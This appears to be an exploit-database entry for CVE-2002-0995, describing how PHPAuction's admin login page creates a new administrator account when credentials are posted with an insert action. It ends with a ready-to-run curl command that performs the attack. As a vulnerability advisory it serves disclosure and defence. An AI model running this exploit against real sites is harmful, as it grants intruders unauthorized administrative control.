phpAuction 1/2 - Unauthorized Administrative Access

Author: ethx
type: webapps
platform: php
port: 
date_added: 2002-07-02 
date_updated: 2012-09-29 
verified: 1 
codes: CVE-2002-0995;OSVDB-5034 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5141/info

PhpAuction is a freely available web-based auction system. It is written using PHP scripting language on a MySQL database engine.

A flaw in /admin/login.php has been reported in PHPAuction, which could allow users to gain escalated privileges.

Submitting authentication credentials via login.php will create the user account with adminsitrative permissions.

curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test"